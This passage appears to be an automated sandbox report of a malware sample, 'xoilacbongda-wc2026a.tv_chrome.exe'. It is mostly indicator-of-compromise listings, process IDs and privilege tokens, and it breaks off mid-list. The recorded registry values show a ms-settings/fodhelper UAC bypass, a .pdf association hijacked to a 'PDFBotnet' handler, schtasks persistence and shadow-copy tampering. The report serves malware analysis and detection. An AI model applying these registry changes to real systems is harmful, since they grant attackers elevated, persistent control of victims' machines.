\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 3236 NETSTAT.EXE 5944 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 5156 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 3824 vssadmin.exe 3812 vssadmin.exe 480 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000\Control Panel\Desktop\WallpaperStyle = "2" xoilacbongda-wc2026a.tv_chrome.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000\Software\Microsoft\Internet Explorer\Main explorer.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134280393356010445" chrome.exe Key created \REGISTRY\USER\S-1-5-19 svchost.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC svchost.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey svchost.exe Key created \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey svchost.exe Key created \REGISTRY\USER\S-1-5-19\SOFTWARE svchost.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft svchost.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography svchost.exe - Modifies registry class 54 IoCs
description ioc Process Key deleted \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\ms-settings xoilacbongda-wc2026a.tv_chrome.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2532687178-1633831978-1202193935-1000\{7FBCD84E-5418-4065-B364-BA8F3A2299C5} explorer.exe Key created \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "56" SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\ms-settings xoilacbongda-wc2026a.tv_chrome.exe Key created \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\ms-settings\shell\open xoilacbongda-wc2026a.tv_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\ms-settings\shell\open\command\DelegateExecute xoilacbongda-wc2026a.tv_chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff explorer.exe Key created \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\MuiCache StartMenuExperienceHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:" SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "23" SearchHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix StartMenuExperienceHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet xoilacbongda-wc2026a.tv_chrome.exe Key created \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\ms-settings\shell xoilacbongda-wc2026a.tv_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\ms-settings\shell xoilacbongda-wc2026a.tv_chrome.exe Set value (data) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DomStorageState SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "23" SearchHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open xoilacbongda-wc2026a.tv_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\ms-settings\shell\open\command xoilacbongda-wc2026a.tv_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacbongda-wc2026a.tv_chrome.exe" xoilacbongda-wc2026a.tv_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command xoilacbongda-wc2026a.tv_chrome.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2532687178-1633831978-1202193935-1000\{F920ED18-D7A2-43D9-B061-82BDE2910CD1} explorer.exe Key created \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Key created \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs SearchHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell xoilacbongda-wc2026a.tv_chrome.exe Key created \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\Total SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "56" SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "56" SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "23" SearchHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:" StartMenuExperienceHost.exe Key deleted \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\ms-settings\shell\open\command xoilacbongda-wc2026a.tv_chrome.exe Key created \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify explorer.exe Key created \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\client.cbs SearchHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" StartMenuExperienceHost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" xoilacbongda-wc2026a.tv_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilacbongda-wc2026a.tv_chrome.exe\" \"%1\"" xoilacbongda-wc2026a.tv_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\MuiCache SearchHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix SearchHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\microsoftwindows.client.cbs SearchHost.exe Key deleted \REGISTRY\USER\S-1-5-21-2532687178-1633831978-1202193935-1000_Classes\ms-settings\shell\open xoilacbongda-wc2026a.tv_chrome.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 476 schtasks.exe 5724 schtasks.exe 3080 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3188 chrome.exe 3188 chrome.exe 3108 powershell.exe 3108 powershell.exe 3108 powershell.exe 2936 WMIC.exe 2936 WMIC.exe 2936 WMIC.exe 2936 WMIC.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 1776 WMIC.exe 1776 WMIC.exe 1776 WMIC.exe 1776 WMIC.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2076 WMIC.exe 2076 WMIC.exe 2076 WMIC.exe 2076 WMIC.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe 2404 xoilacbongda-wc2026a.tv_chrome.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2404 xoilacbongda-wc2026a.tv_chrome.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs
pid Process 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3188 chrome.exe Token: SeCreatePagefilePrivilege 3188 chrome.exe Token: SeDebugPrivilege 3108 powershell.exe Token: SeShutdownPrivilege 3188 chrome.exe Token: SeCreatePagefilePrivilege 3188 chrome.exe Token: SeShutdownPrivilege 3188 chrome.exe Token: SeCreatePagefilePrivilege 3188 chrome.exe Token: SeShutdownPrivilege 3188 chrome.exe Token: SeCreatePagefilePrivilege 3188 chrome.exe Token: SeShutdownPrivilege 3188 chrome.exe Token: SeCreatePagefilePrivilege 3188 chrome.exe Token: SeShutdownPrivilege 3188 chrome.exe Token: SeCreatePagefilePrivilege 3188 chrome.exe Token: SeIncreaseQuotaPrivilege 2936 WMIC.exe Token: SeSecurityPrivilege 2936 WMIC.exe Token: SeTakeOwnershipPrivilege 2936 WMIC.exe Token: SeLoadDriverPrivilege 2936 WMIC.exe Token: SeSystemProfilePrivilege 2936 WMIC.exe Token: SeSystemtimePrivilege 2936 WMIC.exe Token: SeProfSingleProcessPrivilege 2936 WMIC.exe Token: SeIncBasePriorityPrivilege 2936 WMIC.exe Token: SeCreatePagefilePrivilege 2936 WMIC.exe Token: SeBackupPrivilege 2936 WMIC.exe Token: SeRestorePrivilege 2936 WMIC.exe Token: SeShutdownPrivilege 2936 WMIC.exe Token: SeDebugPrivilege 2936 WMIC.exe Token: SeSystemEnvironmentPrivilege 2936 WMIC.exe Token: SeRemoteShutdownPrivilege 2936 WMIC.exe Token: SeUndockPrivilege 2936 WMIC.exe Token: SeManageVolumePrivilege 2936 WMIC.exe Token: 33 2936 WMIC.exe Token: 34 2936 WMIC.exe Token: 35 2936 WMIC.exe Token: 36 2936 WMIC.exe Token: SeIncreaseQuotaPrivilege 2936 WMIC.exe Token: SeSecurityPrivilege 2936 WMIC.exe Token: SeTakeOwnershipPrivilege 2936 WMIC.exe Token: SeLoadDriverPrivilege 2936 WMIC.exe Token: SeSystemProfilePrivilege 2936 WMIC.exe Token: SeSystemtimePrivilege 2936 WMIC.exe Token: SeProfSingleProcessPrivilege 2936 WMIC.exe Token: SeIncBasePriorityPrivilege 2936 WMIC.exe Token: SeCreatePagefilePrivilege 2936 WMIC.exe Token: SeBackupPrivilege 2936 WMIC.exe Token: SeRestorePrivilege 2936 WMIC.exe Token: SeShutdownPrivilege 2936 WMIC.exe Token: SeDebugPrivilege 2936 WMIC.exe Token: SeSystemEnvironmentPrivilege 2936 WMIC.exe Token: SeRemoteShutdownPrivilege 2936 WMIC.exe Token: SeUndockPrivilege 2936 WMIC.exe Token: SeManageVolumePrivilege 2936 WMIC.exe Token: 33 2936 WMIC.exe Token: 34 2936 WMIC.exe Token: 35 2936 WMIC.exe Token: 36 2936 WMIC.exe Token: SeBackupPrivilege 4844 vssvc.exe Token: SeRestorePrivilege 4844 vssvc.exe Token: SeAuditPrivilege 4844 vssvc.exe Token: SeShutdownPrivilege 3188 chrome.exe Token: SeCreatePagefilePrivilege 3188 chrome.exe Token: SeShutdownPrivilege 3188 chrome.exe Token: SeCreatePagefilePrivilege 3188 chrome.exe Token: SeIncreaseQuotaPrivilege 3108 powershell.exe Token: SeSecurityPrivilege 3108 powershell.exe - Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 1716 sihost.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe - Suspicious use of SendNotifyMessage 58 IoCs
pid Process 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 3188 chrome.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe 5844 explorer.exe - Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 2404 xoilacbongda-wc2026a.tv_chrome.exe 3932 StartMenuExperienceHost.exe 4364 SearchHost.exe 5844 explorer.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2404 wrote to memory of 3188 2404 xoilacbongda-wc2026a.tv_chrome.exe 88 PID 3188 wrote to memory of 2508 3188 chrome.exe 89 PID 2404 wrote to memory of 3108 2404 xoilacbongda-wc2026a.tv_chrome.exe 90 PID 2404 wrote to memory of 1108 2404 xoilacbongda-wc2026a.tv_chrome.exe 174 PID 3188 wrote to memory of 2328 3188 chrome.exe 94 PID 3188 wrote to memory of 3928 3188 chrome.exe 95 PID 3188 wrote to memory of 3928 3188 chrome.exe 95 PID 3188 wrote to memory of 5932 3188 chrome.exe 96 PID 3188 wrote to memory of 5932 3188 chrome.exe 96 PID 3188 wrote to memory of 4568 3188 chrome.exe 99 PID 3188 wrote to memory of 472 3188 chrome.exe 100 PID 3188 wrote to memory of 4568 3188 chrome.exe 99 PID 3188 wrote to memory of 472 3188 chrome.exe 100 PID 2404 wrote to memory of 3376 2404 xoilacbongda-wc2026a.tv_chrome.exe 167 PID 2404 wrote to memory of 3396 2404 xoilacbongda-wc2026a.tv_chrome.exe 102 PID 3188 wrote to memory of 260 3188 chrome.exe 104 PID 3188 wrote to memory of 260 3188 chrome.exe 104 PID 2404 wrote to memory of 1468 2404 xoilacbongda-wc2026a.tv_chrome.exe 105 PID 3188 wrote to memory of 3904 3188 chrome.exe 106 PID 3188 wrote to memory of 3904 3188 chrome.exe 106 PID 2404 wrote to memory of 1084 2404 xoilacbongda-wc2026a.tv_chrome.exe 108 PID 2404 wrote to memory of 4544 2404 xoilacbongda-wc2026a.tv_chrome.exe 109 PID 2404 wrote to memory of 2976 2404 xoilacbongda-wc2026a.tv_chrome.exe 112 PID 2404 wrote to memory of 3300 2404 xoilacbongda-wc2026a.tv_chrome.exe 114 PID 2404 wrote to memory of 3436 2404 xoilacbongda-wc2026a.tv_chrome.exe 116 PID 2404 wrote to memory of 2708 2404 xoilacbongda-wc2026a.tv_chrome.exe 117 PID 3436 wrote to memory of 5584 3436 fodhelper.exe 120 PID 2404 wrote to memory of 2568 2404 xoilacbongda-wc2026a.tv_chrome.exe 118 PID 2404 wrote to memory of 3812 2404 xoilacbongda-wc2026a.tv_chrome.exe 122 PID 2404 wrote to memory of 2936 2404 xoilacbongda-wc2026a.tv_chrome.exe 124 PID 2404 wrote to memory of 3012 2404 xoilacbongda-wc2026a.tv_chrome.exe 131 PID 2404 wrote to memory of 476 2404 xoilacbongda-wc2026a.tv_chrome.exe 132 PID 2404 wrote to memory of 5724 2404 xoilacbongda-wc2026a.tv_chrome.exe 134 PID 2404 wrote to memory of 4436 2404 xoilacbongda-wc2026a.tv_chrome.exe 139 PID 2404 wrote to memory of 3684 2404 xoilacbongda-wc2026a.tv_chrome.exe 141 PID 2404 wrote to memory of 3364 2404 xoilacbongda-wc2026a.tv_chrome.exe 142 PID 2404 wrote to memory of 1356 2404 xoilacbongda-wc2026a.tv_chrome.exe 143 PID 2404 wrote to memory of 1536 2404 xoilacbongda-wc2026a.tv_chrome.exe 144 PID 2404 wrote to memory of 4412 2404 xoilacbongda-wc2026a.tv_chrome.exe 145 PID 2404 wrote to memory of 4560 2404 xoilacbongda-wc2026a.tv_chrome.exe 146 PID 2404 wrote to memory of 3080 2404 xoilacbongda-wc2026a.tv_chrome.exe 147 PID 2404 wrote to memory of 6084 2404 xoilacbongda-wc2026a.tv_chrome.exe 155 PID 4436 wrote to memory of 480 4436 cmd.exe 156 PID 3364 wrote to memory of 332 3364 cmd.exe 157 PID 4560 wrote to memory of 3236 4560 cmd.exe 158 PID 3684 wrote to memory of 5156 3684 cmd.exe 159 PID 1356 wrote to memory of 6048 1356 cmd.exe 160 PID 1536 wrote to memory of 3112 1536 cmd.exe 161 PID 4412 wrote to memory of 5944 4412 cmd.exe 162 PID 3112 wrote to memory of 1388 3112 net.exe 163 PID 4436 wrote to memory of 1776 4436 cmd.exe 164 PID 2404 wrote to memory of 320 2404 xoilacbongda-wc2026a.tv_chrome.exe 165 PID 3188 wrote to memory of 5804 3188 chrome.exe 166 PID 3188 wrote to memory of 3376 3188 chrome.exe 167 PID 3188 wrote to memory of 6140 3188 chrome.exe 168 PID 3188 wrote to memory of 3376 3188 chrome.exe 167 PID 3188 wrote to memory of 6140 3188 chrome.exe 168 PID 2404 wrote to memory of 3824 2404 